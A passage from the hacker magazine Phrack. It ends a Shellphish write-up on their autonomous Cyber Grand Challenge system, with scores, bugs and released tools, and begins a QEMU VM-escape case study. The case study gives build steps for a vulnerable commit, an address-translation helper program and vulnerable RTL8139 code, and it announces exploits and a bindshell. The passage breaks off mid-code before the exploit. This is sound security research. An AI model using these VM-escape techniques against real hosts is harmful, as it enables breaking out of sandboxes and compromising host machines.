replaying incoming traffic to detect exploitation is non-trivial due to complex behaviors on the part of the challenge binaries. - Patch after attacking: An alternative strategy is to assume that an opponent can quickly steal our exploits, and submit a patch immediately after such exploits are fired. In our latter analysis, we determined that this would have been the optimal strategy, granting us first place. - Always patch: If working under the assumption that the majority of challenge sets are exploited, it makes sense to always patch. Most teams in the Cyber Grand Challenge took this decision very seriously. Of course, being the rag-tag group of hackers that we are, we did some fast-and-loose calculations and made a result based on data that turned out to be incorrect. Specifically, we assumed that a similar fraction of the challenges would be exploited as the fraction of challenges crashed during the CQE (about 70%). At the time, this matched up with the percentage of sample CGC binaries, provided by DARPA during sparring partner rounds, that we were exploiting. Running the numbers under this assumption led us to adopt the "always patch" approach: 1. At the second round of a challenge set's existence, we would check if we had an exploit ready. If not, we would patch immediately, with the best available patch (out of the three discussed above). Otherwise, we would delay for a round so that our exploit had a chance to be run against other teams. 2. Once a patch was deployed, we would monitor performance feedback. 3. If feedback slipped below a set threshold, we would revert to the original binary and never patch again. In this way, we would patch *once* for every binary. As we discuss later, this turned out to be one of the worst strategies that we could have taken. --[ 007 - Fruits of our Labors In early August, our creation had to fight for its life, on stage, in front of thousands of people. The Mechanical Phish fought well and won third place, netting us $750,000 dollars and cementing our unexpected place as the richest CTF team in the world (with a combined winnings of 1.5 million dollars, Shellphish is the first millionaire CTF team in history!). This is really cool, but it isn't the whole story. The CGC generated enormous amounts of data, and to truly understand what happened in the final event, we need to delve into it. In this section, we'll talk specifically regarding what happened, who achieved what, and how the CGC Final Event played out. For reference throughout this section, the final scores of the CGC Final Event were: +--------------+------------------+---------+ | Team | CRS Name | Points | +--------------+------------------+---------+ | ForAllSecure | Mayhem | 270,042 | | TECHx | Xandra | 262,036 | | Shellphish | Mechanical Phish | 254,452 | | DeepRed | Rubeus | 251,759 | | CodeJitsu | Galactica | 247,534 | | CSDS | Jima | 246,437 | | Disekt | Crspy | 236,248 | +--------------+------------------+---------+ The attentive reader will notice that the score of the Mechanical Phish is the only one that is a palindrome. --[ 007.001 - Bugs The CGC was the first time that autonomous systems faced each other in a no-humans-allowed competition. As such, all of the Cyber Reasoning Systems likely faced some amount of bugs during the CFE. The most visible was Mayhem's, which resulted in the system being off-line for most of the second half of the game (although, as we discuss later in this section, that might not have hurt the system as much as one would think). Our system was no different. In looking through the results, we identified a number of bugs that the Mechanical Phish ran into during the CFE: * Multi-CB pipeline assertions We used fuzzing to identify crashes and POV Fuzzing to fuzz those crashes into POVs for challenge sets comprising of multiple binaries. Unfortunately, an accidental assert statement placed in the POV Fuzzing code caused it to opt out of any tasks involving multi-CB challenge sets, disabling our multi-CB exploitation capability. * Network traffic synchronization Due to a bug, the component that scheduled tasks to synchronize and analyze network traffic was set to download *all* recorded network traffic every minute. The volume of this traffic quickly caused it to exceed scheduling timeouts, and Mechanical Phish only analyzed network traffic for the first 15 rounds of the game. * RB submission race condition Due to a race condition between the component that determined what patches to submit and the component that actually submitted them, we had several instances where we submitted different patched binaries across different rounds, causing multiple rounds of lost uptime. * Scheduling issues Throughout the CFE, Mechanical Phish identified exploitable crashes in over 40 binaries. However, only 15 exploits were generated. Part, but not all, of this was due to the multi-CB pipeline assertions. It seems that the rest was due to scheduling issues that we have not yet been able to identify. * Slow task spawning Our configuration of Kubernetes was unable to spawn tasks quickly enough to keep up with the job queue. Luckily, we identified this bug a few days before the CFE and put in some workarounds, though we did not have time to fix the root cause. This bug caused us to under-utilize our infrastructure. --[ 007.002 - Pwning Kings Over the course of the CGC Final Event, the Mechanical Phish pwned the most challenges out of the competitors and stole the most flags. This was incredible to see, and is an achievement that we are extremely proud of. Furthermore, the Mechanical Phish stole the most flags even when taking into account only the first 49 rounds, to allow for the fact that Mayhem submitted its last flag on round 49. We've collected the results in a helpful chart, with the teams sorted by the total amount of flags that the teams captured throughout the game. +--------------+-------------------------------+--------------------------+ | Team | Flags Captured (first 49/all) | CSes Pwned (first 49/all)| +--------------+-------------------------------+--------------------------+ | Shellphish | 206 / 402 | 6 / 15 | | CodeJitsu | 59 / 392 | 3 / 9 | | DeepRed | 154 / 265 | 3 / 6 | | TECHx | 66 / 214 | 2 / 4 | | Disekt | 101 / 210 | 5 / 6 | | ForAllSecure | 185 / 187 | 10 / 11 | | CSDS | 20 / 22 | 1 / 2 | +--------------+-------------------------------+--------------------------+ Interestingly, Mayhem exploited an enormous amount of binaries before it went down, but the Mechanical Phish still achieved a higher exploitation score in the rounds that Mayhem was alive. One possibility is that the exploits launched by the Mechanical Phish were more reliable than those of Mayhem. However, its raw exploitation power should not be underestimated: within 49 rounds, before going off the grid, Mayhem managed to exploit 10 binaries. While the Mechanical Phish surpassed it over the entire game, this is still quite impressive. --[ 007.003 - Patching Kings To understand how effective our patches were, we calculated the number of flags lost (and the number of CSes on which flags were lost) throughout the game, both for the first 49 rounds (in which Mayhem was online) and for the entire game. As expected, because the Mechanical Phish patched every binary, we found that it was the least-exploited CRS. Specifically, it only leaked flags on 12 challenge sets. The runner-up in this sense (the second-place team, TECHx), leaked flags on 14 binaries. Interestingly, TECHx beat us on the total number of flags leaked. This makes sense -- they likely had some analysis to identify *when* they were being exploited, and patch only then. And, likely, their patches were more effective than our own, leading to a lower number of total flags leaked! The results, sorted by the number of compromised challenges, are: +--------------+-------------------------------+--------------------------+ | Team | Defended CS-Rounds (49/all) | CSes Compromised (49/*) | +--------------+-------------------------------+--------------------------+ | Shellphish | 29 / 68 | 7 / 12 | | TECHx | 27 / 61 | 7 / 14 | | DeepRed | 32 / 87 | 6 / 15 | | ForAllSecure | 54 / 160 | 7 / 16 | | CodeJitsu | 61 / 104 | 9 / 16 | | Disekt | 66 / 127 | 9 / 17 | | CSDS | 108 / 189 | 9 / 18 | +--------------+-------------------------------+--------------------------+ --[ 007.004 - Patching Effectiveness Before the CFE, we tested our patches against the dataset of all CQE binaries released until that point, compiled with many different compilation flags. On this dataset, our chance of breaking a binary, or lowering performance to below 85% (the guesstimated threshold at which we would pull the binary back) was under 2%, and we decided to abandon patch performance/functionality testing. On the actual CFE dataset, we fared worse. The CFE had 82 challenge sets. For these 82 challenge sets, we successfully generated patches for 78. Of these 78, we had to pull back 10 because the patch broke the binary and 7 because the patch lowered the performance of the binary below acceptable levels. This was considerably higher than expected. Furthermore, due to a race condition between the patch submission logic and the component that retrieves the game state, we did end up with situations where we would submit *multiple* patches, thinking that the round had not ended whereas, in reality, it had. In total, we made 107 RCB submissions throughout the game. This was the second-highest amount, with only CodeJitsu submitting more (108). Because very few challenges were exploited during the CFE, this was unequivocally the wrong choice. In total, we lost around 17000 points during the "downtime" rounds after the patch submissions alone. --[ 007.005 - Alternate History Case Studies Hindsight is 20/20. Even though we know, now, that we made the wrong choice regarding our patching strategy, it's still interesting to see what "could have been". In this section, we do that. To better understand the impact of our strategy decisions, we compute scores for several simulated CGC rounds where the Mechanical Phish undertook different strategies, and see what would have happened. It's very important to point out that this is all fantasy. *Every* team can look back and consider things that they might have done differently. The most obvious one is Mayhem: had they avoided crashing, they might have absolutely dominated the competition, rather than relaxedly coasting to victory. However, every other team has other "what if" moments. We explore ours here purely out of curiosity. * Mechanical Phish that never patched To calculate our score in the absence of patching, we recalculated CFE scores, assuming that, any time an exploit would be launched on a CS against *any* team, the exploit would be run against us during that round and all subsequent rounds of that CS being in play. With this calculation, our score would be 267,065, which is 12,613 points higher than the patch strategy that we did choose and would put us in second place by a margin of over 5,000 points. The prize for second place was $1,000,000. Patching at all cost us $250,000! * Mechanical Phish that patched after attacking Similar to the previous strategy, we calculated our score with a patch strategy that would delay patches until *after* we launched exploits on the corresponding CS. For the patches that would have been submitted, we used the same feedback that we received during the CFE itself. With this calculation, our score would be 271,506, which is 17,054 points higher than the patch strategy that we chose and would have put us in first place by a margin of over 1,500 points. The prize for first place was $2,000,000. Patching stupidly cost us $1,250,000 and quite a bit of glory! * Mechanical Phish that didn't do crap We were curious: did we really have to push so hard and trade so much sanity away over the months leading up to the CGC? How would a team that did *nothing* do? That is, if a team connected and then ceased to play, would they fare better or worse than the other players? We ran a similar analysis to the "Never patch" strategy previously (i.e., we counted a CS as exploited for all rounds after its first exploitation against any teams), but this time removed any POV-provided points. In the CFE, this "Team NOP" would have scored 255,678 points, barely *beating* Shellphish and placing 3rd in the CGC. To be fair, this score calculation does not take into account the fact that teams might have withheld exploits because all opponents were patched against them. However, ForAllSecure patched only 10 binaries, so it does not seem likely that many exploits were held back due to the presence of patches. One way of looking at this is that we could have simply enjoyed life for a year, shown up to the CGC, and walked away with $750,000. Another way of looking at this is that, despite us following the worst possible strategy in regards to patching, the technical aspects of our CRS were good enough to compensate and keep us in the top three positions! --[ 007.006 - Scoring Difficulties Similarly to this being the first time that autonomous systems compete against each other in a no-humans-allowed match, this was also the first time that such a match was *hosted*. The organizing team was up against an astonishing amount of challenges, from hardware to software to politics, and they pulled off an amazing event. However, as in any complex event, some issues are bound to arise. In this case, the problem was that measuring program performance is hard. We found this out while creating our CRS, and DARPA experienced this difficulty during the final event. Specifically, we noticed two anomalies in the scoring data: slight disparities in the initial scoring of challenge sets, and performance "cross-talk" between services. * Initial CS Scoring Patches can only be fielded on round 3 (after being submitted on round 2) of a binary being deployed. However we noticed that our availability scores were lower than our opponents, even on the *first* round of a challenge, when they could not yet be patched. In principle, these should all be the same, as a team has *no* way to influence this performance score. We calculated the average of the first-round CS availability scores, presented in the table below. The scores vary. The difference between the "luckiest" team, regarding their first-round CS score, and the "unluckiest" team was 1.6 percentage points. Unfortunately, Shellphish was that unluckiest team. Since the availability score was used as a multiplier for a team's total score, if the "luckiest" and "unluckiest" had their "luck" swapped, this would compensate for a total score difference of 3.2%. That is a bigger ratio than the difference between second and third place (2.9%), third and fourth place (1.1%), fourth and fifth place (1.7%), and fifth and sixth place (0.4%). The winner (Mayhem) could not have been unseated by these perturbations, but the rest of the playing field could have looked rather different. +--------------+----------------------------------+ | Team | Average First Round Availability | +--------------+----------------------------------+ | CSDS | 0.9985 | | ForAllSecure | 0.9978 | | Disekt | 0.9975 | | TECHx | 0.9973 | | CodeJitsu | 0.9971 | | DeepRed | 0.9917 | | Shellphish | 0.9824 | +--------------+----------------------------------+ * Scoring Cross-talk We also noticed that performance measurements of one challenge seem to influence others. Specifically, when we patched the binary NRFIN_00066 on round 39, we saw the performance of *all* of our other, previously-patched, binaries drop drastically for rounds 40 and 41. This caused us to pull back patches for *all* of our patched binaries, suffering the resulting downtime and decrease in security. Anecdotally, we spoke to two other teams, DeepRed and CodeJitsu, that were affected by such scoring cross-talk issues. --[ 008 - Warez We strongly believe in contributing back to the community. Shortly after qualifying for the Cyber Grand Challenge, we open-sourced our binary analysis engine, angr. Likewise, after the CGC final event, we have released our entire Cyber Reasoning System. The Mechanical Phish is open source, and we hope that others will learn from it and improve it with us. Of course, the fact that we directly benefit from open-source software makes it quite easy for us to support open-source software. Specifically, the Mechanical Phish would not exist without amazing work done by a large number of developers throughout the years. We would like to acknowledge the non-obvious ones (i.e., of course we are all thankful for Linux and vim) here: * AFL (lcamtuf.coredump.cx/afl) - AFL was used as the fuzzer of every single competitor in the Cyber Grand Challenge, including us. We all owe lcamtuf a great debt. * PyPy (pypy.org) - PyPy JITed our crappy Python code, often increasing runtime by a factor of *5*. * VEX (valgrind.org) - VEX, Valgrind's Intermediate Representation of binary code, provided an excellent base on which to build angr, our binary analysis engine. * Z3 (github.com/Z3Prover/z3) - angr uses Z3 as its underlying constraint solver, allowing us to synthesize inputs to drive execution down specific paths. * Boolector (fmv.jku.at/boolector) - The POVs produced by the Mechanical Phish required complex reasoning about the relation between input and output data. To reduce implementation effort, we wanted to use a constraint solver to handle these relationships. Because Z3 is too huge and complicated to include in a POV, we ported Boolector to the CGC platform and included it in every POV the Mechanical Phish threw. * QEMU (qemu.org) - The heavy analyses that angr carries out makes it considerably slower than qemu, so we used qemu when we needed lightweight, but fast analyses (such as dynamic tracing). * Unicorn Engine (www.unicorn-engine.org) - angr uses Unicorn Engine to speed up its heavyweight analyses. Without Unicorn Engine, the number of exploits that the Mechanical Phish found would have undoubtedly been lower. * Capstone Engine (www.capstone-engine.org) - We used Capstone Engine to augment VEX's analysis of x86, in cases when VEX did not provide enough details. This improved angr's CFG recovery, making our patching more reliable. * Docker (docker.io) - The individual pieces of our infrastructure ran in Docker containers, making the components of the Mechanical Phish well-compartmentalized and easily upgradeable. * Kubernetes (kubernetes.io) - The distribution of docker containers across our cluster, and the load-balancing and failover of resources, was handled by kubernetes. In our final setup, the Mechanical Phish was so resilient that it could probably continue to function in some form even if the rack was hit with a shotgun blast. * Peewee (https://github.com/coleifer/peewee) - After an initial false start with a handcrafted HTTP API, we used Peewee as an ORM to our database. * PostgreSQL (www.postgresql.org) - All of the data that the Mechanical Phish dealt with, from the binaries to the testcases to the metadata about crashes and exploits, was stored in a ridiculously-tuned and absurdly replicated Postgres database, ensuring speed and resilience. As for the Mechanical Phish, this release is pretty huge, involving many components. This section serves as a place to collect them all for your reference. We split them into several categories: --[ 008.001 - The angr Binary Analysis System For completeness, we include the repositories of the angr project, which we open sourced after the CQE. However, we released several additional repositories after the CFE, so we list the whole project here. * Claripy Claripy is our data-model abstraction layer, allowing us to reason about data symbolically, concretely, or in exotic domains such as VSA. It is available at https://github.com/angr/claripy. * CLE. CLE is our binary loader, with support for many different binary formats. It is available at https://github.com/angr/cle. * PyVEX. PyVEX provides a Python interface to the VEX intermediate representation, allowing angr to support multiple architectures. It is available at https://github.com/angr/pyvex. * SimuVEX. SimuVEX is our state model, allowing us to handle requirements of different analyses. It is available at https://github.com/angr/simuvex. * angr. The full-program analysis layer, along with the user-facing API, lives in the angr repository. It is available at https://github.com/angr/angr. * Tracer. This is a collection of code to assist with concolic tracing in angr. It is available at https://github.com/angr/tracer. * Fidget. During the CQE, we used a patching method, called Fidget, that resized and rearranged stack frames to prevent vulnerabilities. It is available at https://github.com/angr/fidget. * Function identifier. We implemented testcase-based function identification, available at https://github.com/angr/identifier. * angrop. Our ROP compiler, allowing us to exploit complex vulnerabilities, is available at https://github.com/salls/angrop. --[ 008.002 - Standalone Exploitation and Patching Tools Some of the software developed for the CRS can be used outside of the context of autonomous security competitions. As such, we have collected it together in a separate place. * Fuzzer. We created a programmatic Python interface to AFL to allow us to use AFL as a module, within or outside of the CRS. It is available at https://github.com/shellphish/fuzzer. * Driller. Our symbolic-assisted fuzzer, which we used as the crash discovery component of the CRS, is available at https://github.com/shellphish/driller. * Rex. The automatic exploitation system of the CRS (and usable as a standalone tool) is available at https://github.com/shellphish/rex. * Patcherex. Our automatic patching engine, which can also be used standalone, is available at https://github.com/shellphish/patcherex. --[ 008.003 - The Mechanical Phish Itself We developed enormous amounts of code to create one of the world's first autonomous security analysis systems. We gathered the code that is specific to the Mechanical Phish under the mechaphish github namespace. * Meister. The core scheduling component for analysis tasks is at https://github.com/mechaphish/meister. * Ambassador. The component that interacted with the CGC TI infrastructure is at https://github.com/mechaphish/ambassador. * Scriba. The component that makes decisions on which POVs and RBs to submit is available at https://github.com/mechaphish/scriba. * Docker workers. Most tasks were run inside docker containers. The glue code that launched these tasks available at https://github.com/mechaphish/worker. * VM workers. Some tasks, such as final POV testing, was done in a virtual machine running DECREE. The scaffolding to do this is available at https://github.com/mechaphish/vm-workers. * Farnsworth. We used a central database as a data store, and used an ORM to access it. The ORM models are available at https://github.com/mechaphish/farnsworth. * POVSim. We ran our POVs in a simulator before testing them on the CGC VM (as the latter is a more expensive process). The simulator is available at https://github.com/mechaphish/povsim. * CGRex. Used only during the CQE, we developed a targeted patching approach that prevents binaries from crashing. It is available at https://github.com/mechaphish/cgrex. * Compilerex. To aid in the compilation of CGC POVs, we collected a set of templates and scripts, available at https://github.com/mechaphish/compilerex. * Boolector. We ported the Boolector SMT solver to the CGC platform so that we could include it in our POVs. It is available at https://github.com/mechaphish/cgc-boolector. * Setup. Our scripts for deploying the CRS are at https://github.com/mechaphish/setup. * Network dude. The CRS component that retrieves network traffic from the TI server is at https://github.com/mechaphish/network_dude. * Patch performance tester. Though it was not ultimately used in the CFE, because performance testing is a very hard problem, our performance tester is at https://github.com/mechaphish/patch_performance. * Virtual competition. We extended the provided mock API of the central server to be able to more thoroughly exercise Mechanical Phish. Our extensions are available at https://github.com/mechaphish/virtual-competitions. * Colorguard. Our Type-2 exploit approach, which uses an embedded constraint solver to recover flag data, is available at https://github.com/mechaphish/colorguard. * MultiAFL. We created a port of AFL that supports analyzing multi-CB challenge sets. It is available at https://github.com/mechaphish/multiafl. * Simulator. To help plan our strategy, we wrote a simulation of the CGC. It is available at https://github.com/mechaphish/simulator. * POV Fuzzing. In addition to Rex, we used a backup strategy of "POV Fuzzing", where a crashing input would be fuzzed to determine relationships that could be used to create a POV. These fuzzers are available at https://github.com/mechaphish/pov_fuzzing. * QEMU CGC port. We ported QEMU to work on DECREE binaries. This port is available at https://github.com/mechaphish/qemu-cgc. --[ 009 - Looking Forward Shellphish is a dynamic team, and we are always looking for the next challenge. What is next? Even we might not know, but we can speculate in this section! * Limitations of the Mechanical Phish The Mechanical Phish is a glorified research prototype, and significant engineering work is needed to bring it to a point where it is usable in the real world. Mostly, this takes the form of implementing the environment model of operating systems other than DECREE. For example, the Mechanical Phish can currently analyze, exploit, and patch Linux binaries, but only if they stick to a very limited number of system calls. We open-sourced the Mechanical Phish in the hopes that work like this can live on after the CGC, and it is our sincere hope that the CRS continues to evolve. * Cyber Grand Challenge 2? As soon as the Cyber Grand Challenge ended, there were discussions about whether or not there would be a CGC2. Generally, DARPA tries to push fundamental advances: they did the self-driving Grand Challenge more than once years, but this seems to be because no teams won it the first time. The fact that they have not done a self-driving Grand Challenge since implies that DARPA is not in the business of running these huge competitions just for the heck of it: they are trying to push research forward. In that sense, it would surprise us if there was a CGC2, on DECREE OS, with the same format as it exists now. For such a game to happen, the community would probably have to organize it themselves. With the reduced barrier to entry (in the form of an open-sourced Mechanical Phish), such a competition could be pretty interesting. Maybe after some more post-CGC recovery, we'll look into it! Of course, we can also sit back and see what ground-breaking concept DARPA comes up with for another Grand Challenge. Maybe there'll be hacking in that one as well. * Shellphish Projects The Mechanical Phish and angr are not Shellphish's only endeavors. We are also very active in CTFs, and one thing to come out of this is the development of various resources to help newbies to CTF. For example, we have put together a "toolset" bundle to help get people started in security with common security tools (github.com/zardus/ctf-tools), and, in the middle of the CGC insanity, ran a series of hack meetings in the university to teach people, by example, how to perform heap meta-data attacks (github.com/shellphish/how2heap). We're continuing down that road, in fact. Monitor our github for our next big thing! ` --[ 010 - References [Driller16] Driller: Augmenting Fuzzing Through Selective Symbolic Execution Nick Stephens, John Grosen, Christopher Salls, Andrew Dutcher, Ruoyu Wang, Jacopo Corbetta, Yan Shoshitaishvili, Christopher Kruegel, Giovanni Vigna Proceedings of the Network and Distributed System Security Symposium (NDSS) San Diego, CA February 2016 [ArtOfWar16] (State of) The Art of War: Offensive Techniques in Binary Analysis Yan Shoshitaishvili, Ruoyu Wang, Christopher Salls, Nick Stephens, Mario Polino, Andrew Dutcher, John Grosen, Siji Feng, Christophe Hauser, Christopher Kruegel, Giovanni Vigna Proceedings of the IEEE Symposium on Security and Privacy San Jose, CA May 2016 [Ramblr17] Ramblr: Making Reassembly Great Again Ruoyu Wang, Yan Shoshitaishvili, Antonio Bianchi, Aravind Machiry, John Grosen, Paul Grosen, Christopher Kruegel, Giovanni Vigna Proceedings of the Network and Distributed System Security Symposium (NDSS) San Diego, CA February 2017 [angr] http://angr.io [Inversion] https://en.wikipedia.org/wiki/Sleep_inversion [CGCFAQ] https://cgc.darpa.mil/CGC_FAQ.pdf |=[ EOF ]=---------------------------------------------------------------=| ============== Page 5/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x05 of 0x0f |=-----------------------------------------------------------------------=| |=----------------------------=[ VM escape ]=----------------------------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ QEMU Case Study ]=-------------------------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ Mehdi Talbi ]=---------------------------=| |=--------------------------=[ Paul Fariello ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - KVW/QEMU Overview 2.1 - Workspace Environment 2.2 - QEMU Memory Layout 2.3 - Address Translation 3 - Memory Leak Exploitation 3.1 - The Vulnerable Code 3.2 - Setting up the Card 3.3 - Exploit 4 - Heap-based Overflow Exploitation 4.1 - The Vulnerable Code 4.2 - Setting up the Card 4.3 - Reversing CRC 4.4 - Exploit 5 - Putting All Together 5.1 - RIP Control 5.2 - Interactive Shell 5.3 - VM-Escape Exploit 5.4 - Limitations 6 - Conclusions 7 - Greets 8 - References 9 - Source Code --[ 1 - Introduction Virtual machines are nowadays heavily deployed for personal use or within the enterprise segment. Network security vendors use for instance different VMs to analyze malwares in a controlled and confined environment. A natural question arises: can the malware escapes from the VM and execute code on the host machine? Last year, Jason Geffner from CrowdStrike, has reported a serious bug in QEMU affecting the virtual floppy drive code that could allow an attacker to escape from the VM [1] to the host. Even if this vulnerability has received considerable attention in the netsec community - probably because it has a dedicated name (VENOM) - it wasn't the first of it's kind. In 2011, Nelson Elhage [2] has reported and successfully exploited a vulnerability in QEMU's emulation of PCI device hotplugging. The exploit is available at [3]. Recently, Xu Liu and Shengping Wang, from Qihoo 360, have showcased at HITB 2016 a successful exploit on KVM/QEMU. They exploited two vulnerabilities (CVE-2015-5165 and CVE-2015-7504) present in two different network card device emulator models, namely, RTL8139 and PCNET. During their presentation, they outlined the main steps towards code execution on the host machine but didn't provide any exploit nor the technical details to reproduce it. In this paper, we provide a in-depth analysis of CVE-2015-5165 (a memory-leak vulnerability) and CVE-2015-7504 (a heap-based overflow vulnerability), along with working exploits. The combination of these two exploits allows to break out from a VM and execute code on the target host. We discuss the technical details to exploit the vulnerabilities on QEMU's network card device emulation, and provide generic techniques that could be re-used to exploit future bugs in QEMU. For instance an interactive bindshell that leverages on shared memory areas and shared code. --[ 2 - KVM/QEMU Overview KVM (Kernal-based Virtual Machine) is a kernel module that provides full virtualization infrastructure for user space programs. It allows one to run multiple virtual machines running unmodified Linux or Windows images. The user space component of KVM is included in mainline QEMU (Quick Emulator) which handles especially devices emulation. ----[ 2.1 - Workspace Environment In effort to make things easier to those who want to use the sample code given throughout this paper, we provide here the main steps to reproduce our development environment. Since the vulnerabilities we are targeting has been already patched, we need to checkout the source for QEMU repository and switch to the commit that precedes the fix for these vulnerabilities. Then, we configure QEMU only for target x86_64 and enable debug: $ git clone git://git.qemu-project.org/qemu.git $ cd qemu $ git checkout bd80b59 $ mkdir -p bin/debug/native $ cd bin/debug/native $ ../../../configure --target-list=x86_64-softmmu --enable-debug \ $ --disable-werror $ make In our testing environment, we build QEMU using version 4.9.2 of Gcc. For the rest, we assume that the reader has already a Linux x86_64 image that could be run with the following command line: $ ./qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \ $ -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \ $ -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \ $ -drive file=,format=qcow2,if=ide,cache=writeback We allocate 2GB of memory and create two network interface cards: RTL8139 and PCNET. We are running QEMU on a Debian 7 running a 3.16 kernel on x_86_64 architecture. ----[ 2.2 - QEMU Memory Layout The physical memory allocated for the guest is actually a mmapp'ed private region in the virtual address space of QEMU. It's important to note that the PROT_EXEC flag is not enabled while allocating the physical memory of the guest. The following figure illustrates how the guest's memory and host's memory cohabits. Guest' processes +--------------------+ Virtual addr space | | +--------------------+ | | \__ Page Table \__ \ \ | | Guest kernel +----+--------------------+----------------+ Guest's phy. memory | | | | +----+--------------------+----------------+ | | \__ \__ \ \ | QEMU process | +----+------------------------------------------+ Virtual addr space | | | +----+------------------------------------------+ | | \__ Page Table \__ \ \ | | +----+-----------------------------------------------++ Physical memory | | || +----+-----------------------------------------------++ Additionaly, QEMU reserves a memory region for BIOS and ROM. These mappings are available in QEMU's maps file: 7f1824ecf000-7f1828000000 rw-p 00000000 00:00 0 7f1828000000-7f18a8000000 rw-p 00000000 00:00 0 [2 GB of RAM] 7f18a8000000-7f18a8992000 rw-p 00000000 00:00 0 7f18a8992000-7f18ac000000 ---p 00000000 00:00 0 7f18b5016000-7f18b501d000 r-xp 00000000 fd:00 262489 [first shared lib] 7f18b501d000-7f18b521c000 ---p 00007000 fd:00 262489 ... 7f18b521c000-7f18b521d000 r--p 00006000 fd:00 262489 ... 7f18b521d000-7f18b521e000 rw-p 00007000 fd:00 262489 ... ... [more shared libs] 7f18bc01c000-7f18bc5f4000 r-xp 00000000 fd:01 30022647 [qemu-system-x86_64] 7f18bc7f3000-7f18bc8c1000 r--p 005d7000 fd:01 30022647 ... 7f18bc8c1000-7f18bc943000 rw-p 006a5000 fd:01 30022647 ... 7f18bd328000-7f18becdd000 rw-p 00000000 00:00 0 [heap] 7ffded947000-7ffded968000 rw-p 00000000 00:00 0 [stack] 7ffded968000-7ffded96a000 r-xp 00000000 00:00 0 [vdso] 7ffded96a000-7ffded96c000 r--p 00000000 00:00 0 [vvar] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] A more detailed explanation of memory management in virtualized environment can be found at [4]. ----[ 2.3 - Address Translation Within QEMU there exist two translation layers: - From a guest virtual address to guest physical address. In our exploit, we need to configure network card devices that require DMA access. For example, we need to provide the physical address of Tx/Rx buffers to correctly configure the network card devices. - From a guest physical address to QEMU's virtual address space. In our exploit, we need to inject fake structures and get their precise address in QEMU's virtual address space. On x64 systems, a virtual address is made of a page offset (bits 0-11) and a page number. On linux systems, the pagemap file enables userspace process with CAP_SYS_ADMIN privileges to find out which physical frame each virtual page is mapped to. The pagemap file contains for each virtual page a 64-bit value well-documented in kernel.org [5]: - Bits 0-54 : physical frame number if present. - Bit 55 : page table entry is soft-dirty. - Bit 56 : page exclusively mapped. - Bits 57-60 : zero - Bit 61 : page is file-page or shared-anon. - Bit 62 : page is swapped. - Bit 63 : page is present. To convert a virtual address to a physical one, we rely on Nelson Elhage's code [3]. The following program allocates a buffer, fills it with the string "Where am I?" and prints its physical address: ---[ mmu.c ]--- #include #include #include #include #include #include #include #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) int fd; uint32_t page_offset(uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); } uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return -1; gfn = pme & PFN_PFN; return gfn; } uint64_t gva_to_gpa(void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); } int main() { uint8_t *ptr; uint64_t ptr_mem; fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } ptr = malloc(256); strcpy(ptr, "Where am I?"); printf("%s\n", ptr); ptr_mem = gva_to_gpa(ptr); printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem); getchar(); return 0; } If we run the above code inside the guest and attach gdb to the QEMU process, we can see that our buffer is located within the physical address space allocated for the guest. More precisely, we note that the outputted address is actually an offset from the base address of the guest physical memory: root@debian:~# ./mmu Where am I? Your physical address is at 0x78b0d010 (gdb) info proc mappings process 14791 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x7fc314000000 0x7fc314022000 0x22000 0x0 0x7fc314022000 0x7fc318000000 0x3fde000 0x0 0x7fc319dde000 0x7fc31c000000 0x2222000 0x0 0x7fc31c000000 0x7fc39c000000 0x80000000 0x0 ... (gdb) x/s 0x7fc31c000000 + 0x78b0d010 0x7fc394b0d010: "Where am I?" --[ 3 - Memory Leak Exploitation In the following, we will exploit CVE-2015-5165 - a memory leak vulnerability that affects the RTL8139 network card device emulator - in order to reconstruct the memory layout of QEMU. More precisely, we need to leak (i) the base address of the .text segment in order to build our shellcode and (ii) the base address of the physical memory allocated for the guest in order to be able to get the precise address of some injected dummy structures. ----[ 3.1 - The vulnerable Code The REALTEK network card supports two receive/transmit operation modes: C mode and C+ mode. When the card is set up to use C+, the NIC device emulator miscalculates the length of IP packet data and ends up sending more data than actually available in the packet. The vulnerability is present in the rtl8139_cplus_transmit_one function from hw/net/rtl8139.c: /* ip packet header */ ip_header *ip = NULL; int hlen = 0; uint8_t ip_protocol = 0; uint16_t ip_data_len = 0; uint8_t *eth_payload_data = NULL; size_t eth_payload_len = 0; int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12)); if (proto == ETH_P_IP) { DPRINTF("+++ C+ mode has IP packet\n"); /* not aligned */ eth_payload_data = saved_buffer + ETH_HLEN; eth_payload_len = saved_size - ETH_HLEN; ip = (ip_header*)eth_payload_data; if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) { DPRINTF("+++ C+ mode packet has bad IP version %d " "expected %d\n", IP_HEADER_VERSION(ip), IP_HEADER_VERSION_4); ip = NULL; } else { hlen = IP_HEADER_LENGTH(ip); ip_protocol = ip->ip_p; ip_data_len = be16_to_cpu(ip->ip_len) - hlen; } } The IP header contains two fields hlen and ip->ip_len that represent the length of the IP header (20 bytes considering a packet without options) and the total length of the packet including the ip header, respectively. As shown at the end of the snippet of code given below, there is no check to ensure that ip->ip_len >= hlen while computing the length of IP data (ip_data_len). As the ip_data_len field is encoded as unsigned short, this leads to sending more data than actually available in the transmit buffer. More precisely, the ip_data_len is later used to compute the length of TCP data that are copied - chunk by chunk if the data exceeds the size of the MTU - into a malloced buffer: int tcp_data_len = ip_data_len - tcp_hlen; int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen; int is_last_frame = 0; for (tcp_send_offset 